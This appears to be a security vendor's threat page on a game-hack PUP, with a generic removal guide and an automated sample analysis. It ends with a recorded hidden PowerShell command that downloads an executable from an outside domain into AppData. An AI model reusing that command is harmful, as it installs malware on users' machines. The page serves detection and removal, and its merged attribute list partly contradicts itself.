PUP.Gamehack.GAD
The detection of PUP.Gamehack.GAD on your system indicates the presence of a potentially unwanted program (PUP) that may be causing issues with your computer's performance and security. It is essential to understand the nature of this threat and take immediate action to remove it to prevent further damage.
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What Is PUP.Gamehack.GAD?
PUP.Gamehack.GAD is a type of malware that is classified as a potentially unwanted program. This means that it may not be as harmful as other types of malware, such as viruses or Trojans, but it can still cause problems with your system's stability and security. PUPs are often installed on a system without the user's knowledge or consent, and they can be used to display unwanted advertisements, collect user data, or install other malicious software.
How PUP.Gamehack.GAD Operates
PUP.Gamehack.GAD operates by exploiting vulnerabilities in a system's security or by tricking users into installing it. Once installed, it can start to display unwanted advertisements, collect user data, or install other malicious software. It may also attempt to modify system settings or install additional components to further compromise the system. The exact methods used by PUP.Gamehack.GAD to operate may vary, but the end result is often the same: a compromised system that is vulnerable to further attacks.
Symptoms of Infection
The symptoms of a PUP.Gamehack.GAD infection can vary, but common signs include unwanted advertisements or pop-ups, slower system performance, and unexpected changes to system settings. You may also notice that your browser homepage or search engine has been changed, or that you are being redirected to unwanted websites. In some cases, you may not notice any symptoms at all, which is why it is essential to regularly scan your system for malware.
How to Remove PUP.Gamehack.GAD
- Boot your system in Safe Mode with Networking to prevent PUP.Gamehack.GAD from loading and to allow you to download and install removal tools.
- Download and install a reputable anti-malware tool, such as SpyHunter, and run a full scan of your system to detect and remove PUP.Gamehack.GAD and any other malware that may be present.
- Uninstall any suspicious programs that you do not recognize or that you did not intentionally install. Be cautious when uninstalling programs, as some may be legitimate or even essential to your system's operation.
- Reset your web browsers, including Chrome, Firefox, and Edge, to their default settings to remove any changes made by PUP.Gamehack.GAD.
- Reboot your system and run another scan with your anti-malware tool to ensure that PUP.Gamehack.GAD has been completely removed.
Conclusion
Removing PUP.Gamehack.GAD from your system requires careful attention to detail and a thorough understanding of the removal process. By following the steps outlined above, you can help to ensure that your system is free from this potentially unwanted program and any other malware that may be present. Remember to always be cautious when installing software or clicking on links, and to regularly scan your system for malware to prevent future infections.
Analysis Report
General information
| Family Name: | PUP.Gamehack.GAD |
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| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
2c360627882e22d071abec210c19c9ee
SHA1:
cd2289ca489ebd8739795c89705ef3e086213ec1
SHA256:
F312CE50DA2E5B84F93BAB2A83E5C8AE70FBF06C7505D0226528179AE70DF264
File Size:
453.63 KB, 453632 bytes
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MD5:
0b2fd1ca2ab8be91a698e39bcee58a0e
SHA1:
462805edfa1626fef775a0ccf2c50be9dc85521a
SHA256:
C51B15A5B24ED83933929224C3D321C910916E11534802A22F7CE2134552500B
File Size:
336.90 KB, 336896 bytes
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MD5:
ba5d5e91d70ef84feae79d0247d28665
SHA1:
b12a3c9252e030e726a7d1fa818f11894fa63939
SHA256:
2E134665EBA783D806A7723AB3DB2AA1CF6735C94E73DBD048DE6944FBD13763
File Size:
395.26 KB, 395264 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has exports table
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
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- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
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| Company Name | Tsuda Kageyu |
| File Description | MinHook - The Minimalistic API Hook Library for x64/x86 |
| File Version | 1.3.3.0 |
| Internal Name | MinHookD |
| Legal Copyright | Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved. |
| Legal Trademarks | Tsuda Kageyu |
| Product Name | MinHook DLL |
| Product Version | 1.3.3.0 |
File Traits
- dll
- imgui
- No Version Info
- VirtualQueryEx
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 227 |
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| Potentially Malicious Blocks: | 20 |
| Whitelisted Blocks: | 181 |
| Unknown Blocks: | 26 |
Visual Map
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Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
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| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134071108050834519.5760.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_gw2xz4hd.tv2.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_gyobefis.p1w.ps1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
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| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 愬僶ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 亁愯僶ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 봠懀僶ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 舋懅僶ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | �� xy kP~ �ރ ���; ��^ ۴� }� d Vs} F kP~ F ��1 � �� ��� d B F e �J ��1 � �� h �n� } e�� e�� | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey |
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| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
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| Syscall Use |
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| User Data Access |
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| Network Info Queried |
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| Network Winsock2 |
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| Network Winsock |
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| Network Winhttp |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=RbAFzBhyyCMuMHbMdPLCW013.txt' -OutFile $env:APPDATA\BK821986.exe
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